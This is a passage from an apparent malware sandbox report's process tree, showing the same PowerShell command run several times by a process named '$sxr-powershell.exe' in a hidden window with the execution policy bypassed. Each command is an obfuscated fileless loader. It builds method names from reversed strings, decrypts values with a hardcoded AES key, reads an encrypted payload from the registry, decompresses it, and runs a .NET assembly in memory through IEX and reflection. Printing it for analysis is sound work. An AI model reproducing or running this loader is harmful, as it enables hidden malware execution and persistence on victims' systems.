$zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NrSJK, 0, $NrSJK.Length);$NrSJK = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NrSJK);$hNQmD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wiGRZbwj08s5ccnY2fiFog==');$hNQmD = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hNQmD, 0, $hNQmD.Length);$hNQmD = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($hNQmD);$DkNHQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PZgrGVa646VrGOS9G04j/Q==');$DkNHQ = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DkNHQ, 0, $DkNHQ.Length);$DkNHQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DkNHQ);$UJmpm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('WdkCE0NfVCsWgdXTOY/C1g==');$UJmpm = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UJmpm, 0, $UJmpm.Length);$UJmpm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UJmpm);$XAOdY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gPoDSCGApMCmQB1PvehUTQ==');$XAOdY = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XAOdY, 0, $XAOdY.Length);$XAOdY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XAOdY);$YJUZY0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3qOTGlwNsOu7GjN+WYtV3A==');$YJUZY0 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY0, 0, $YJUZY0.Length);$YJUZY0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY0);$YJUZY1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oYPFDUYl40yftzDaxfoTSw==');$YJUZY1 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY1, 0, $YJUZY1.Length);$YJUZY1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY1);$YJUZY2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XXjnNR3Sswka2j4WlAp3TQ==');$YJUZY2 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY2, 0, $YJUZY2.Length);$YJUZY2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY2);$YJUZY3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BakZq23+iwvKDrU0Eno//w==');$YJUZY3 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY3, 0, $YJUZY3.Length);$YJUZY3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY3);$zKteB.Dispose();$RGTVc1.Dispose();$PFTMy = [Microsoft.Win32.Registry]::$UJmpm.$DkNHQ($YJUZY).$hNQmD($FxgyF);$bKVUD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($PFTMy);$RGTVc = New-Object System.Security.Cryptography.AesManaged;$RGTVc.Mode = [System.Security.Cryptography.CipherMode]::CBC;$RGTVc.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$RGTVc.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Y0Vhj+8SvKvWSoAI3H80nqz3WBAcVwKeS+mcInP5cBE=');$RGTVc.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nAbxL7tE2+vAEI/onUDZow==');$mDPLY = $RGTVc.('rotpyrceDetaerC'[-1..-15] -join '')();$bKVUD = $mDPLY.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($bKVUD, 0, $bKVUD.Length);$mDPLY.Dispose();$RGTVc.Dispose();$WkXXy = New-Object System.IO.MemoryStream(, $bKVUD);$BFsRj = New-Object System.IO.MemoryStream;$eyYzu = New-Object System.IO.Compression.GZipStream($WkXXy, [IO.Compression.CompressionMode]::$YJUZY1);$eyYzu.$XAOdY($BFsRj);$eyYzu.Dispose();$WkXXy.Dispose();$BFsRj.Dispose();$bKVUD = $BFsRj.ToArray();$tHATD = $jXIqy | IEX;$qHSaO = $tHATD::$YJUZY2($bKVUD);$wybTP = $qHSaO.EntryPoint;$wybTP.$YJUZY0($null, (, [string[]] ($uduqT)))
                                                    6⤵
                                                      PID:4372
                                                      • C:\Windows\$sxr-powershell.exe
                                                        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4372).WaitForExit();[System.Threading.Thread]::Sleep(5000); $RGTVc1 = New-Object System.Security.Cryptography.AesManaged;$RGTVc1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$RGTVc1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$RGTVc1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Y0Vhj+8SvKvWSoAI3H80nqz3WBAcVwKeS+mcInP5cBE=');$RGTVc1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nAbxL7tE2+vAEI/onUDZow==');$zKteB = $RGTVc1.('rotpyrceDetaerC'[-1..-15] -join '')();$YJUZY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('u3vBDix/Dvzu1bNqIQRl5A==');$YJUZY = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY, 0, $YJUZY.Length);$YJUZY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY);$FxgyF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3qJmctKqd3cKI9f/LSjUTTZfi7VZWgSF/mV4pnIBCY0=');$FxgyF = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FxgyF, 0, $FxgyF.Length);$FxgyF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($FxgyF);$uduqT = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('a/YRTjsaXrUpzDKih9OVYw==');$uduqT = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uduqT, 0, $uduqT.Length);$uduqT = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uduqT);$jXIqy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('01OluqzYGp7VpcaRAzTEuhBKHeZhEYzImru7nL0XrpTApAAe2nuJWHtDCVSBiU4K+OqG4TWQCs49ZHgcfWfi+euR/Mv2ayGei2SjeZtJc59djoC9/7q0oIcHnQKO86GNcccbBPnosHT1J0+yqZkcMnDYoec6tOMIX+FO2Q7gJAtiDpsPuQ1nyAKZNxGQcDummAmv3RVg1Zz4Pn9Fqbl08BNtgqWHl2Ol+gU/EEu6csFmcl5KvBGR5yLvJJfHyukRx6NQvUT0kUQI4pvttwYdib8yt2A+olytLLxSrFAtLNYm5BpvCwrWZOPOIQBj0Ji4qnEXnkpW34WQnTRiwcH9iRuPL7yUaopjqEQS9uPzd7cMOFQgqqN4qJxPks+ref0tCg6WdX14j1/i0FPbVy2pENJEdQH7+O7bjFDcgWcQDO4=');$jXIqy = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jXIqy, 0, $jXIqy.Length);$jXIqy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jXIqy);$NrSJK = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('syA5EvsXvOKxGBhz+CR86w==');$NrSJK = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NrSJK, 0, $NrSJK.Length);$NrSJK = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NrSJK);$hNQmD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wiGRZbwj08s5ccnY2fiFog==');$hNQmD = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hNQmD, 0, $hNQmD.Length);$hNQmD = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($hNQmD);$DkNHQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PZgrGVa646VrGOS9G04j/Q==');$DkNHQ = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DkNHQ, 0, $DkNHQ.Length);$DkNHQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DkNHQ);$UJmpm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('WdkCE0NfVCsWgdXTOY/C1g==');$UJmpm = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UJmpm, 0, $UJmpm.Length);$UJmpm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UJmpm);$XAOdY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gPoDSCGApMCmQB1PvehUTQ==');$XAOdY = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XAOdY, 0, $XAOdY.Length);$XAOdY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XAOdY);$YJUZY0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3qOTGlwNsOu7GjN+WYtV3A==');$YJUZY0 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY0, 0, $YJUZY0.Length);$YJUZY0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY0);$YJUZY1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oYPFDUYl40yftzDaxfoTSw==');$YJUZY1 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY1, 0, $YJUZY1.Length);$YJUZY1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY1);$YJUZY2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XXjnNR3Sswka2j4WlAp3TQ==');$YJUZY2 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY2, 0, $YJUZY2.Length);$YJUZY2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY2);$YJUZY3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BakZq23+iwvKDrU0Eno//w==');$YJUZY3 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY3, 0, $YJUZY3.Length);$YJUZY3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY3);$zKteB.Dispose();$RGTVc1.Dispose();$PFTMy = [Microsoft.Win32.Registry]::$UJmpm.$DkNHQ($YJUZY).$hNQmD($FxgyF);$bKVUD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($PFTMy);$RGTVc = New-Object System.Security.Cryptography.AesManaged;$RGTVc.Mode = [System.Security.Cryptography.CipherMode]::CBC;$RGTVc.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$RGTVc.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Y0Vhj+8SvKvWSoAI3H80nqz3WBAcVwKeS+mcInP5cBE=');$RGTVc.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nAbxL7tE2+vAEI/onUDZow==');$mDPLY = $RGTVc.('rotpyrceDetaerC'[-1..-15] -join '')();$bKVUD = $mDPLY.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($bKVUD, 0, $bKVUD.Length);$mDPLY.Dispose();$RGTVc.Dispose();$WkXXy = New-Object System.IO.MemoryStream(, $bKVUD);$BFsRj = New-Object System.IO.MemoryStream;$eyYzu = New-Object System.IO.Compression.GZipStream($WkXXy, [IO.Compression.CompressionMode]::$YJUZY1);$eyYzu.$XAOdY($BFsRj);$eyYzu.Dispose();$WkXXy.Dispose();$BFsRj.Dispose();$bKVUD = $BFsRj.ToArray();$tHATD = $jXIqy | IEX;$qHSaO = $tHATD::$YJUZY2($bKVUD);$wybTP = $qHSaO.EntryPoint;$wybTP.$YJUZY0($null, (, [string[]] ($uduqT)))
                                                        7⤵
                                                          PID:1128
                                                        • C:\Windows\$sxr-powershell.exe
                                                          "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4372).WaitForExit();[System.Threading.Thread]::Sleep(5000); $RGTVc1 = New-Object System.Security.Cryptography.AesManaged;$RGTVc1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$RGTVc1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$RGTVc1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Y0Vhj+8SvKvWSoAI3H80nqz3WBAcVwKeS+mcInP5cBE=');$RGTVc1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nAbxL7tE2+vAEI/onUDZow==');$zKteB = $RGTVc1.('rotpyrceDetaerC'[-1..-15] -join '')();$YJUZY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('u3vBDix/Dvzu1bNqIQRl5A==');$YJUZY = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY, 0, $YJUZY.Length);$YJUZY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY);$FxgyF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3qJmctKqd3cKI9f/LSjUTTZfi7VZWgSF/mV4pnIBCY0=');$FxgyF = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FxgyF, 0, $FxgyF.Length);$FxgyF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($FxgyF);$uduqT = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('a/YRTjsaXrUpzDKih9OVYw==');$uduqT = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uduqT, 0, $uduqT.Length);$uduqT = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uduqT);$jXIqy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('01OluqzYGp7VpcaRAzTEuhBKHeZhEYzImru7nL0XrpTApAAe2nuJWHtDCVSBiU4K+OqG4TWQCs49ZHgcfWfi+euR/Mv2ayGei2SjeZtJc59djoC9/7q0oIcHnQKO86GNcccbBPnosHT1J0+yqZkcMnDYoec6tOMIX+FO2Q7gJAtiDpsPuQ1nyAKZNxGQcDummAmv3RVg1Zz4Pn9Fqbl08BNtgqWHl2Ol+gU/EEu6csFmcl5KvBGR5yLvJJfHyukRx6NQvUT0kUQI4pvttwYdib8yt2A+olytLLxSrFAtLNYm5BpvCwrWZOPOIQBj0Ji4qnEXnkpW34WQnTRiwcH9iRuPL7yUaopjqEQS9uPzd7cMOFQgqqN4qJxPks+ref0tCg6WdX14j1/i0FPbVy2pENJEdQH7+O7bjFDcgWcQDO4=');$jXIqy = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jXIqy, 0, $jXIqy.Length);$jXIqy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jXIqy);$NrSJK = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('syA5EvsXvOKxGBhz+CR86w==');$NrSJK = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NrSJK, 0, $NrSJK.Length);$NrSJK = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NrSJK);$hNQmD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wiGRZbwj08s5ccnY2fiFog==');$hNQmD = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hNQmD, 0, $hNQmD.Length);$hNQmD = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($hNQmD);$DkNHQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PZgrGVa646VrGOS9G04j/Q==');$DkNHQ = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DkNHQ, 0, $DkNHQ.Length);$DkNHQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DkNHQ);$UJmpm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('WdkCE0NfVCsWgdXTOY/C1g==');$UJmpm = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UJmpm, 0, $UJmpm.Length);$UJmpm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UJmpm);$XAOdY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gPoDSCGApMCmQB1PvehUTQ==');$XAOdY = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XAOdY, 0, $XAOdY.Length);$XAOdY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XAOdY);$YJUZY0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3qOTGlwNsOu7GjN+WYtV3A==');$YJUZY0 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY0, 0, $YJUZY0.Length);$YJUZY0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY0);$YJUZY1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oYPFDUYl40yftzDaxfoTSw==');$YJUZY1 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY1, 0, $YJUZY1.Length);$YJUZY1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY1);$YJUZY2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XXjnNR3Sswka2j4WlAp3TQ==');$YJUZY2 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY2, 0, $YJUZY2.Length);$YJUZY2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY2);$YJUZY3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BakZq23+iwvKDrU0Eno//w==');$YJUZY3 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY3, 0, $YJUZY3.Length);$YJUZY3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY3);$zKteB.Dispose();$RGTVc1.Dispose();$PFTMy = [Microsoft.Win32.Registry]::$UJmpm.$DkNHQ($YJUZY).$hNQmD($FxgyF);$bKVUD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($PFTMy);$RGTVc = New-Object System.Security.Cryptography.AesManaged;$RGTVc.Mode = [System.Security.Cryptography.CipherMode]::CBC;$RGTVc.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$RGTVc.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Y0Vhj+8SvKvWSoAI3H80nqz3WBAcVwKeS+mcInP5cBE=');$RGTVc.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nAbxL7tE2+vAEI/onUDZow==');$mDPLY = $RGTVc.('rotpyrceDetaerC'[-1..-15] -join '')();$bKVUD = $mDPLY.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($bKVUD, 0, $bKVUD.Length);$mDPLY.Dispose();$RGTVc.Dispose();$WkXXy = New-Object System.IO.MemoryStream(, $bKVUD);$BFsRj = New-Object System.IO.MemoryStream;$eyYzu = New-Object System.IO.Compression.GZipStream($WkXXy, [IO.Compression.CompressionMode]::$YJUZY1);$eyYzu.$XAOdY($BFsRj);$eyYzu.Dispose();$WkXXy.Dispose();$BFsRj.Dispose();$bKVUD = $BFsRj.ToArray();$tHATD = $jXIqy | IEX;$qHSaO = $tHATD::$YJUZY2($bKVUD);$wybTP = $qHSaO.EntryPoint;$wybTP.$YJUZY0($null, (, [string[]] ($uduqT)))
                                                          7⤵
                                                            PID:1568
                                                          • C:\Windows\$sxr-powershell.exe
                                                            "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4372).WaitForExit();[System.Threading.Thread]::Sleep(5000); $RGTVc1 = New-Object System.Security.Cryptography.AesManaged;$RGTVc1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$RGTVc1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$RGTVc1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Y0Vhj+8SvKvWSoAI3H80nqz3WBAcVwKeS+mcInP5cBE=');$RGTVc1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nAbxL7tE2+vAEI/onUDZow==');$zKteB = $RGTVc1.('rotpyrceDetaerC'[-1..-15] -join '')();$YJUZY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('u3vBDix/Dvzu1bNqIQRl5A==');$YJUZY = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY, 0, $YJUZY.Length);$YJUZY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY);$FxgyF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3qJmctKqd3cKI9f/LSjUTTZfi7VZWgSF/mV4pnIBCY0=');$FxgyF = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FxgyF, 0, $FxgyF.Length);$FxgyF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($FxgyF);$uduqT = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('a/YRTjsaXrUpzDKih9OVYw==');$uduqT = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uduqT, 0, $uduqT.Length);$uduqT = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uduqT);$jXIqy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('01OluqzYGp7VpcaRAzTEuhBKHeZhEYzImru7nL0XrpTApAAe2nuJWHtDCVSBiU4K+OqG4TWQCs49ZHgcfWfi+euR/Mv2ayGei2SjeZtJc59djoC9/7q0oIcHnQKO86GNcccbBPnosHT1J0+yqZkcMnDYoec6tOMIX+FO2Q7gJAtiDpsPuQ1nyAKZNxGQcDummAmv3RVg1Zz4Pn9Fqbl08BNtgqWHl2Ol+gU/EEu6csFmcl5KvBGR5yLvJJfHyukRx6NQvUT0kUQI4pvttwYdib8yt2A+olytLLxSrFAtLNYm5BpvCwrWZOPOIQBj0Ji4qnEXnkpW34WQnTRiwcH9iRuPL7yUaopjqEQS9uPzd7cMOFQgqqN4qJxPks+ref0tCg6WdX14j1/i0FPbVy2pENJEdQH7+O7bjFDcgWcQDO4=');$jXIqy = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jXIqy, 0, $jXIqy.Length);$jXIqy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jXIqy);$NrSJK = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('syA5EvsXvOKxGBhz+CR86w==');$NrSJK = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NrSJK, 0, $NrSJK.Length);$NrSJK = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NrSJK);$hNQmD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wiGRZbwj08s5ccnY2fiFog==');$hNQmD = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hNQmD, 0, $hNQmD.Length);$hNQmD = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($hNQmD);$DkNHQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PZgrGVa646VrGOS9G04j/Q==');$DkNHQ = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DkNHQ, 0, $DkNHQ.Length);$DkNHQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DkNHQ);$UJmpm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('WdkCE0NfVCsWgdXTOY/C1g==');$UJmpm = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UJmpm, 0, $UJmpm.Length);$UJmpm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UJmpm);$XAOdY = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gPoDSCGApMCmQB1PvehUTQ==');$XAOdY = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XAOdY, 0, $XAOdY.Length);$XAOdY = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XAOdY);$YJUZY0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3qOTGlwNsOu7GjN+WYtV3A==');$YJUZY0 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY0, 0, $YJUZY0.Length);$YJUZY0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY0);$YJUZY1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oYPFDUYl40yftzDaxfoTSw==');$YJUZY1 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY1, 0, $YJUZY1.Length);$YJUZY1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY1);$YJUZY2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XXjnNR3Sswka2j4WlAp3TQ==');$YJUZY2 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY2, 0, $YJUZY2.Length);$YJUZY2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY2);$YJUZY3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BakZq23+iwvKDrU0Eno//w==');$YJUZY3 = $zKteB.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YJUZY3, 0, $YJUZY3.Length);$YJUZY3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($YJUZY3);$zKteB.Dispose();$RGTVc1.Dispose();$PFTMy = [Microsoft.Win32.Registry]::$UJmpm.$DkNHQ($YJUZY).$hNQmD($FxgyF);$bKVUD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($PFTMy);$RGTVc = New-Object System.Security.Cryptography.AesManaged;$RGTVc.Mode = [System.Security.Cryptography.CipherMode]::CBC;$RGTVc.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$RGTVc.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Y0Vhj+8SvKvWSoAI3H80nqz3WBAcVwKeS+mcInP5cBE=');$RGTVc.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nAbxL7tE2+vAEI/onUDZow==');$mDPLY = $RGTVc.('rotpyrceDetaerC'[-1..-15] -join '')();$bKVUD = $mDPLY.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($bKVUD, 0, $bKVUD.Length);$mDPLY.Dispose();$RGTVc.Dispose();$WkXXy = New-Object System.IO.MemoryStream(, $bKVUD);$BFsRj = New-Object System.IO.MemoryStream;$eyYzu = New-Object System.IO.Compression.GZipStream($WkXXy, [IO.Compression.CompressionMode]::$YJUZY1);$eyYzu.$XAOdY($BFsRj);$eyYzu.Dispose();$WkXXy.Dispose();$BFsRj.Dispose();$bKVUD = $BFsRj.ToArray();$tHATD = $jXIqy | IEX;$qHSaO = $tHATD::$YJUZY2($bKVUD);$wybTP = $qHSaO.EntryPoint;$wybTP.$YJUZY0($null, (, [string[]] ($uduqT)))
                                                            7⤵
                                                              PID:3208
                                                            • C:\Windows\$sxr-powershell.exe
